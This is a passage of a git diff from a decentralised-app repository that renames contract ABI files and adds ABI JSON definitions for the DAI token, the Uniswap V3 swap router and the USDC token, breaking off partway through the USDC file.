? multiplier ** (365 / VESTING_DAYS) - 1 : null; -}; diff --git a/packages/dapp/components/config/abis/ChainlinkPriceFeed.json b/packages/dapp/components/config/abis/chainlink-price-feed.json similarity index 100% rename from packages/dapp/components/config/abis/ChainlinkPriceFeed.json rename to packages/dapp/components/config/abis/chainlink-price-feed.json diff --git a/packages/dapp/components/config/abis/dai-token.json b/packages/dapp/components/config/abis/dai-token.json new file mode 100644 index 000000000..e5cbf9a0a --- /dev/null +++ b/packages/dapp/components/config/abis/dai-token.json @@ -0,0 +1,276 @@ +[ + { + "inputs": [{ "internalType": "uint256", "name": "chainId_", "type": "uint256" }], + "payable": false, + "stateMutability": "nonpayable", + "type": "constructor" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "internalType": "address", "name": "src", "type": "address" }, + { "indexed": true, "internalType": "address", "name": "guy", "type": "address" }, + { "indexed": false, "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "Approval", + "type": "event" + }, + { + "anonymous": true, + "inputs": [ + { "indexed": true, "internalType": "bytes4", "name": "sig", "type": "bytes4" }, + { "indexed": true, "internalType": "address", "name": "usr", "type": "address" }, + { "indexed": true, "internalType": "bytes32", "name": "arg1", "type": "bytes32" }, + { "indexed": true, "internalType": "bytes32", "name": "arg2", "type": "bytes32" }, + { "indexed": false, "internalType": "bytes", "name": "data", "type": "bytes" } + ], + "name": "LogNote", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "internalType": "address", "name": "src", "type": "address" }, + { "indexed": true, "internalType": "address", "name": "dst", "type": "address" }, + { "indexed": false, "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "Transfer", + "type": "event" + }, + { + "constant": true, + "inputs": [], + "name": "DOMAIN_SEPARATOR", + "outputs": [{ "internalType": "bytes32", "name": "", "type": "bytes32" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "PERMIT_TYPEHASH", + "outputs": [{ "internalType": "bytes32", "name": "", "type": "bytes32" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [ + { "internalType": "address", "name": "", "type": "address" }, + { "internalType": "address", "name": "", "type": "address" } + ], + "name": "allowance", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "internalType": "address", "name": "usr", "type": "address" }, + { "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "approve", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [{ "internalType": "address", "name": "", "type": "address" }], + "name": "balanceOf", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "internalType": "address", "name": "usr", "type": "address" }, + { "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "burn", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "decimals", + "outputs": [{ "internalType": "uint8", "name": "", "type": "uint8" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [{ "internalType": "address", "name": "guy", "type": "address" }], + "name": "deny", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "internalType": "address", "name": "usr", "type": "address" }, + { "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "mint", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "internalType": "address", "name": "src", "type": "address" }, + { "internalType": "address", "name": "dst", "type": "address" }, + { "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "move", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "name", + "outputs": [{ "internalType": "string", "name": "", "type": "string" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [{ "internalType": "address", "name": "", "type": "address" }], + "name": "nonces", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "internalType": "address", "name": "holder", "type": "address" }, + { "internalType": "address", "name": "spender", "type": "address" }, + { "internalType": "uint256", "name": "nonce", "type": "uint256" }, + { "internalType": "uint256", "name": "expiry", "type": "uint256" }, + { "internalType": "bool", "name": "allowed", "type": "bool" }, + { "internalType": "uint8", "name": "v", "type": "uint8" }, + { "internalType": "bytes32", "name": "r", "type": "bytes32" }, + { "internalType": "bytes32", "name": "s", "type": "bytes32" } + ], + "name": "permit", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "internalType": "address", "name": "usr", "type": "address" }, + { "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "pull", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "internalType": "address", "name": "usr", "type": "address" }, + { "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "push", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [{ "internalType": "address", "name": "guy", "type": "address" }], + "name": "rely", + "outputs": [], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "symbol", + "outputs": [{ "internalType": "string", "name": "", "type": "string" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "totalSupply", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "internalType": "address", "name": "dst", "type": "address" }, + { "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "transfer", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": false, + "inputs": [ + { "internalType": "address", "name": "src", "type": "address" }, + { "internalType": "address", "name": "dst", "type": "address" }, + { "internalType": "uint256", "name": "wad", "type": "uint256" } + ], + "name": "transferFrom", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "payable": false, + "stateMutability": "nonpayable", + "type": "function" + }, + { + "constant": true, + "inputs": [], + "name": "version", + "outputs": [{ "internalType": "string", "name": "", "type": "string" }], + "payable": false, + "stateMutability": "view", + "type": "function" + }, + { + "constant": true, + "inputs": [{ "internalType": "address", "name": "", "type": "address" }], + "name": "wards", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "payable": false, + "stateMutability": "view", + "type": "function" + } +] diff --git a/packages/dapp/components/config/abis/ERC20.json b/packages/dapp/components/config/abis/erc-20.json similarity index 100% rename from packages/dapp/components/config/abis/ERC20.json rename to packages/dapp/components/config/abis/erc-20.json diff --git a/packages/dapp/components/config/abis/UniswapV2Pair.json b/packages/dapp/components/config/abis/uniswap-v-2-pair.json similarity index 100% rename from packages/dapp/components/config/abis/UniswapV2Pair.json rename to packages/dapp/components/config/abis/uniswap-v-2-pair.json diff --git a/packages/dapp/components/config/abis/UniswapV3Pool.json b/packages/dapp/components/config/abis/uniswap-v-3-pool.json similarity index 100% rename from packages/dapp/components/config/abis/UniswapV3Pool.json rename to packages/dapp/components/config/abis/uniswap-v-3-pool.json diff --git a/packages/dapp/components/config/abis/uniswap-v-3-router.json b/packages/dapp/components/config/abis/uniswap-v-3-router.json new file mode 100644 index 000000000..72d5ef7b5 --- /dev/null +++ b/packages/dapp/components/config/abis/uniswap-v-3-router.json @@ -0,0 +1,444 @@ +[ + { + "inputs": [ + { "internalType": "address", "name": "_factoryV2", "type": "address" }, + { "internalType": "address", "name": "factoryV3", "type": "address" }, + { "internalType": "address", "name": "_positionManager", "type": "address" }, + { "internalType": "address", "name": "_WETH9", "type": "address" } + ], + "stateMutability": "nonpayable", + "type": "constructor" + }, + { "inputs": [], "name": "WETH9", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }, + { + "inputs": [{ "internalType": "address", "name": "token", "type": "address" }], + "name": "approveMax", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "token", "type": "address" }], + "name": "approveMaxMinusOne", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "token", "type": "address" }], + "name": "approveZeroThenMax", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "token", "type": "address" }], + "name": "approveZeroThenMaxMinusOne", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [{ "internalType": "bytes", "name": "data", "type": "bytes" }], + "name": "callPositionManager", + "outputs": [{ "internalType": "bytes", "name": "result", "type": "bytes" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "bytes[]", "name": "paths", "type": "bytes[]" }, + { "internalType": "uint128[]", "name": "amounts", "type": "uint128[]" }, + { "internalType": "uint24", "name": "maximumTickDivergence", "type": "uint24" }, + { "internalType": "uint32", "name": "secondsAgo", "type": "uint32" } + ], + "name": "checkOracleSlippage", + "outputs": [], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { "internalType": "bytes", "name": "path", "type": "bytes" }, + { "internalType": "uint24", "name": "maximumTickDivergence", "type": "uint24" }, + { "internalType": "uint32", "name": "secondsAgo", "type": "uint32" } + ], + "name": "checkOracleSlippage", + "outputs": [], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { + "components": [ + { "internalType": "bytes", "name": "path", "type": "bytes" }, + { "internalType": "address", "name": "recipient", "type": "address" }, + { "internalType": "uint256", "name": "amountIn", "type": "uint256" }, + { "internalType": "uint256", "name": "amountOutMinimum", "type": "uint256" } + ], + "internalType": "struct IV3SwapRouter.ExactInputParams", + "name": "params", + "type": "tuple" + } + ], + "name": "exactInput", + "outputs": [{ "internalType": "uint256", "name": "amountOut", "type": "uint256" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { + "components": [ + { "internalType": "address", "name": "tokenIn", "type": "address" }, + { "internalType": "address", "name": "tokenOut", "type": "address" }, + { "internalType": "uint24", "name": "fee", "type": "uint24" }, + { "internalType": "address", "name": "recipient", "type": "address" }, + { "internalType": "uint256", "name": "amountIn", "type": "uint256" }, + { "internalType": "uint256", "name": "amountOutMinimum", "type": "uint256" }, + { "internalType": "uint160", "name": "sqrtPriceLimitX96", "type": "uint160" } + ], + "internalType": "struct IV3SwapRouter.ExactInputSingleParams", + "name": "params", + "type": "tuple" + } + ], + "name": "exactInputSingle", + "outputs": [{ "internalType": "uint256", "name": "amountOut", "type": "uint256" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { + "components": [ + { "internalType": "bytes", "name": "path", "type": "bytes" }, + { "internalType": "address", "name": "recipient", "type": "address" }, + { "internalType": "uint256", "name": "amountOut", "type": "uint256" }, + { "internalType": "uint256", "name": "amountInMaximum", "type": "uint256" } + ], + "internalType": "struct IV3SwapRouter.ExactOutputParams", + "name": "params", + "type": "tuple" + } + ], + "name": "exactOutput", + "outputs": [{ "internalType": "uint256", "name": "amountIn", "type": "uint256" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { + "components": [ + { "internalType": "address", "name": "tokenIn", "type": "address" }, + { "internalType": "address", "name": "tokenOut", "type": "address" }, + { "internalType": "uint24", "name": "fee", "type": "uint24" }, + { "internalType": "address", "name": "recipient", "type": "address" }, + { "internalType": "uint256", "name": "amountOut", "type": "uint256" }, + { "internalType": "uint256", "name": "amountInMaximum", "type": "uint256" }, + { "internalType": "uint160", "name": "sqrtPriceLimitX96", "type": "uint160" } + ], + "internalType": "struct IV3SwapRouter.ExactOutputSingleParams", + "name": "params", + "type": "tuple" + } + ], + "name": "exactOutputSingle", + "outputs": [{ "internalType": "uint256", "name": "amountIn", "type": "uint256" }], + "stateMutability": "payable", + "type": "function" + }, + { "inputs": [], "name": "factory", "outputs": [{ "internalType": "address", "name": "", "type": "address" }], "stateMutability": "view", "type": "function" }, + { + "inputs": [], + "name": "factoryV2", + "outputs": [{ "internalType": "address", "name": "", "type": "address" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "amount", "type": "uint256" } + ], + "name": "getApprovalType", + "outputs": [{ "internalType": "enum IApproveAndCall.ApprovalType", "name": "", "type": "uint8" }], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { + "components": [ + { "internalType": "address", "name": "token0", "type": "address" }, + { "internalType": "address", "name": "token1", "type": "address" }, + { "internalType": "uint256", "name": "tokenId", "type": "uint256" }, + { "internalType": "uint256", "name": "amount0Min", "type": "uint256" }, + { "internalType": "uint256", "name": "amount1Min", "type": "uint256" } + ], + "internalType": "struct IApproveAndCall.IncreaseLiquidityParams", + "name": "params", + "type": "tuple" + } + ], + "name": "increaseLiquidity", + "outputs": [{ "internalType": "bytes", "name": "result", "type": "bytes" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { + "components": [ + { "internalType": "address", "name": "token0", "type": "address" }, + { "internalType": "address", "name": "token1", "type": "address" }, + { "internalType": "uint24", "name": "fee", "type": "uint24" }, + { "internalType": "int24", "name": "tickLower", "type": "int24" }, + { "internalType": "int24", "name": "tickUpper", "type": "int24" }, + { "internalType": "uint256", "name": "amount0Min", "type": "uint256" }, + { "internalType": "uint256", "name": "amount1Min", "type": "uint256" }, + { "internalType": "address", "name": "recipient", "type": "address" } + ], + "internalType": "struct IApproveAndCall.MintParams", + "name": "params", + "type": "tuple" + } + ], + "name": "mint", + "outputs": [{ "internalType": "bytes", "name": "result", "type": "bytes" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "bytes32", "name": "previousBlockhash", "type": "bytes32" }, + { "internalType": "bytes[]", "name": "data", "type": "bytes[]" } + ], + "name": "multicall", + "outputs": [{ "internalType": "bytes[]", "name": "", "type": "bytes[]" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "uint256", "name": "deadline", "type": "uint256" }, + { "internalType": "bytes[]", "name": "data", "type": "bytes[]" } + ], + "name": "multicall", + "outputs": [{ "internalType": "bytes[]", "name": "", "type": "bytes[]" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [{ "internalType": "bytes[]", "name": "data", "type": "bytes[]" }], + "name": "multicall", + "outputs": [{ "internalType": "bytes[]", "name": "results", "type": "bytes[]" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [], + "name": "positionManager", + "outputs": [{ "internalType": "address", "name": "", "type": "address" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "value", "type": "uint256" } + ], + "name": "pull", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { "inputs": [], "name": "refundETH", "outputs": [], "stateMutability": "payable", "type": "function" }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "value", "type": "uint256" }, + { "internalType": "uint256", "name": "deadline", "type": "uint256" }, + { "internalType": "uint8", "name": "v", "type": "uint8" }, + { "internalType": "bytes32", "name": "r", "type": "bytes32" }, + { "internalType": "bytes32", "name": "s", "type": "bytes32" } + ], + "name": "selfPermit", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "nonce", "type": "uint256" }, + { "internalType": "uint256", "name": "expiry", "type": "uint256" }, + { "internalType": "uint8", "name": "v", "type": "uint8" }, + { "internalType": "bytes32", "name": "r", "type": "bytes32" }, + { "internalType": "bytes32", "name": "s", "type": "bytes32" } + ], + "name": "selfPermitAllowed", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "nonce", "type": "uint256" }, + { "internalType": "uint256", "name": "expiry", "type": "uint256" }, + { "internalType": "uint8", "name": "v", "type": "uint8" }, + { "internalType": "bytes32", "name": "r", "type": "bytes32" }, + { "internalType": "bytes32", "name": "s", "type": "bytes32" } + ], + "name": "selfPermitAllowedIfNecessary", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "value", "type": "uint256" }, + { "internalType": "uint256", "name": "deadline", "type": "uint256" }, + { "internalType": "uint8", "name": "v", "type": "uint8" }, + { "internalType": "bytes32", "name": "r", "type": "bytes32" }, + { "internalType": "bytes32", "name": "s", "type": "bytes32" } + ], + "name": "selfPermitIfNecessary", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "uint256", "name": "amountIn", "type": "uint256" }, + { "internalType": "uint256", "name": "amountOutMin", "type": "uint256" }, + { "internalType": "address[]", "name": "path", "type": "address[]" }, + { "internalType": "address", "name": "to", "type": "address" } + ], + "name": "swapExactTokensForTokens", + "outputs": [{ "internalType": "uint256", "name": "amountOut", "type": "uint256" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "uint256", "name": "amountOut", "type": "uint256" }, + { "internalType": "uint256", "name": "amountInMax", "type": "uint256" }, + { "internalType": "address[]", "name": "path", "type": "address[]" }, + { "internalType": "address", "name": "to", "type": "address" } + ], + "name": "swapTokensForExactTokens", + "outputs": [{ "internalType": "uint256", "name": "amountIn", "type": "uint256" }], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, + { "internalType": "address", "name": "recipient", "type": "address" } + ], + "name": "sweepToken", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" } + ], + "name": "sweepToken", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, + { "internalType": "uint256", "name": "feeBips", "type": "uint256" }, + { "internalType": "address", "name": "feeRecipient", "type": "address" } + ], + "name": "sweepTokenWithFee", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "token", "type": "address" }, + { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, + { "internalType": "address", "name": "recipient", "type": "address" }, + { "internalType": "uint256", "name": "feeBips", "type": "uint256" }, + { "internalType": "address", "name": "feeRecipient", "type": "address" } + ], + "name": "sweepTokenWithFee", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "int256", "name": "amount0Delta", "type": "int256" }, + { "internalType": "int256", "name": "amount1Delta", "type": "int256" }, + { "internalType": "bytes", "name": "_data", "type": "bytes" } + ], + "name": "uniswapV3SwapCallback", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, + { "internalType": "address", "name": "recipient", "type": "address" } + ], + "name": "unwrapWETH9", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [{ "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }], + "name": "unwrapWETH9", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, + { "internalType": "address", "name": "recipient", "type": "address" }, + { "internalType": "uint256", "name": "feeBips", "type": "uint256" }, + { "internalType": "address", "name": "feeRecipient", "type": "address" } + ], + "name": "unwrapWETH9WithFee", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "uint256", "name": "amountMinimum", "type": "uint256" }, + { "internalType": "uint256", "name": "feeBips", "type": "uint256" }, + { "internalType": "address", "name": "feeRecipient", "type": "address" } + ], + "name": "unwrapWETH9WithFee", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { + "inputs": [{ "internalType": "uint256", "name": "value", "type": "uint256" }], + "name": "wrapETH", + "outputs": [], + "stateMutability": "payable", + "type": "function" + }, + { "stateMutability": "payable", "type": "receive" } +] diff --git a/packages/dapp/components/config/abis/usdc-token.json b/packages/dapp/components/config/abis/usdc-token.json new file mode 100644 index 000000000..5467b4d60 --- /dev/null +++ b/packages/dapp/components/config/abis/usdc-token.json @@ -0,0 +1,480 @@ +[ + { + "anonymous": false, + "inputs": [ + { "indexed": true, "internalType": "address", "name": "owner", "type": "address" }, + { "indexed": true, "internalType": "address", "name": "spender", "type": "address" }, + { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } + ], + "name": "Approval", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "internalType": "address", "name": "authorizer", "type": "address" }, + { "indexed": true, "internalType": "bytes32", "name": "nonce", "type": "bytes32" } + ], + "name": "AuthorizationCanceled", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "internalType": "address", "name": "authorizer", "type": "address" }, + { "indexed": true, "internalType": "bytes32", "name": "nonce", "type": "bytes32" } + ], + "name": "AuthorizationUsed", + "type": "event" + }, + { + "anonymous": false, + "inputs": [{ "indexed": true, "internalType": "address", "name": "_account", "type": "address" }], + "name": "Blacklisted", + "type": "event" + }, + { + "anonymous": false, + "inputs": [{ "indexed": true, "internalType": "address", "name": "newBlacklister", "type": "address" }], + "name": "BlacklisterChanged", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "internalType": "address", "name": "burner", "type": "address" }, + { "indexed": false, "internalType": "uint256", "name": "amount", "type": "uint256" } + ], + "name": "Burn", + "type": "event" + }, + { + "anonymous": false, + "inputs": [{ "indexed": true, "internalType": "address", "name": "newMasterMinter", "type": "address" }], + "name": "MasterMinterChanged", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "internalType": "address", "name": "minter", "type": "address" }, + { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, + { "indexed": false, "internalType": "uint256", "name": "amount", "type": "uint256" } + ], + "name": "Mint", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "internalType": "address", "name": "minter", "type": "address" }, + { "indexed": false, "internalType": "uint256", "name": "minterAllowedAmount", "type": "uint256" } + ], + "name": "MinterConfigured", + "type": "event" + }, + { + "anonymous": false, + "inputs": [{ "indexed": true, "internalType": "address", "name": "oldMinter", "type": "address" }], + "name": "MinterRemoved", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": false, "internalType": "address", "name": "previousOwner", "type": "address" }, + { "indexed": false, "internalType": "address", "name": "newOwner", "type": "address" } + ], + "name": "OwnershipTransferred", + "type": "event" + }, + { "anonymous": false, "inputs": [], "name": "Pause", "type": "event" }, + { + "anonymous": false, + "inputs": [{ "indexed": true, "internalType": "address", "name": "newAddress", "type": "address" }], + "name": "PauserChanged", + "type": "event" + }, + { + "anonymous": false, + "inputs": [{ "indexed": true, "internalType": "address", "name": "newRescuer", "type": "address" }], + "name": "RescuerChanged", + "type": "event" + }, + { + "anonymous": false, + "inputs": [ + { "indexed": true, "internalType": "address", "name": "from", "type": "address" }, + { "indexed": true, "internalType": "address", "name": "to", "type": "address" }, + { "indexed": false, "internalType": "uint256", "name": "value", "type": "uint256" } + ], + "name": "Transfer", + "type": "event" + }, + { + "anonymous": false, + "inputs": [{ "indexed": true, "internalType": "address", "name": "_account", "type": "address" }], + "name": "UnBlacklisted", + "type": "event" + }, + { "anonymous": false, "inputs": [], "name": "Unpause", "type": "event" }, + { + "inputs": [], + "name": "CANCEL_AUTHORIZATION_TYPEHASH", + "outputs": [{ "internalType": "bytes32", "name": "", "type": "bytes32" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "DOMAIN_SEPARATOR", + "outputs": [{ "internalType": "bytes32", "name": "", "type": "bytes32" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "PERMIT_TYPEHASH", + "outputs": [{ "internalType": "bytes32", "name": "", "type": "bytes32" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "RECEIVE_WITH_AUTHORIZATION_TYPEHASH", + "outputs": [{ "internalType": "bytes32", "name": "", "type": "bytes32" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "TRANSFER_WITH_AUTHORIZATION_TYPEHASH", + "outputs": [{ "internalType": "bytes32", "name": "", "type": "bytes32" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "owner", "type": "address" }, + { "internalType": "address", "name": "spender", "type": "address" } + ], + "name": "allowance", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "spender", "type": "address" }, + { "internalType": "uint256", "name": "value", "type": "uint256" } + ], + "name": "approve", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "authorizer", "type": "address" }, + { "internalType": "bytes32", "name": "nonce", "type": "bytes32" } + ], + "name": "authorizationState", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "account", "type": "address" }], + "name": "balanceOf", + "outputs": [{ "internalType": "uint256", "name": "", "type": "uint256" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "_account", "type": "address" }], + "name": "blacklist", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [], + "name": "blacklister", + "outputs": [{ "internalType": "address", "name": "", "type": "address" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [{ "internalType": "uint256", "name": "_amount", "type": "uint256" }], + "name": "burn", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "authorizer", "type": "address" }, + { "internalType": "bytes32", "name": "nonce", "type": "bytes32" }, + { "internalType": "uint8", "name": "v", "type": "uint8" }, + { "internalType": "bytes32", "name": "r", "type": "bytes32" }, + { "internalType": "bytes32", "name": "s", "type": "bytes32" } + ], + "name": "cancelAuthorization", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "minter", "type": "address" }, + { "internalType": "uint256", "name": "minterAllowedAmount", "type": "uint256" } + ], + "name": "configureMinter", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "nonpayable", + "type": "function" + }, + { "inputs": [], "name": "currency", "outputs": [{ "internalType": "string", "name": "", "type": "string" }], "stateMutability": "view", "type": "function" }, + { "inputs": [], "name": "decimals", "outputs": [{ "internalType": "uint8", "name": "", "type": "uint8" }], "stateMutability": "view", "type": "function" }, + { + "inputs": [ + { "internalType": "address", "name": "spender", "type": "address" }, + { "internalType": "uint256", "name": "decrement", "type": "uint256" } + ], + "name": "decreaseAllowance", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "spender", "type": "address" }, + { "internalType": "uint256", "name": "increment", "type": "uint256" } + ], + "name": "increaseAllowance", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [ + { "internalType": "string", "name": "tokenName", "type": "string" }, + { "internalType": "string", "name": "tokenSymbol", "type": "string" }, + { "internalType": "string", "name": "tokenCurrency", "type": "string" }, + { "internalType": "uint8", "name": "tokenDecimals", "type": "uint8" }, + { "internalType": "address", "name": "newMasterMinter", "type": "address" }, + { "internalType": "address", "name": "newPauser", "type": "address" }, + { "internalType": "address", "name": "newBlacklister", "type": "address" }, + { "internalType": "address", "name": "newOwner", "type": "address" } + ], + "name": "initialize", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "string", "name": "newName", "type": "string" }], + "name": "initializeV2", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "lostAndFound", "type": "address" }], + "name": "initializeV2_1", + "outputs": [], + "stateMutability": "nonpayable", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "_account", "type": "address" }], + "name": "isBlacklisted", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [{ "internalType": "address", "name": "account", "type": "address" }], + "name": "isMinter", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [], + "name": "masterMinter", + "outputs": [{ "internalType": "address", "name": "", "type": "address" }], + "stateMutability": "view", + "type": "function" + }, + { + "inputs": [ + { "internalType": "address", "name": "_to", "type": "address" }, + { "internalType": "uint256", "name": "_amount", "type": "uint256" } + ], + "name": "mint", + "outputs": [{ "internalType": "bool", "name": "", "type": "bool" }], + 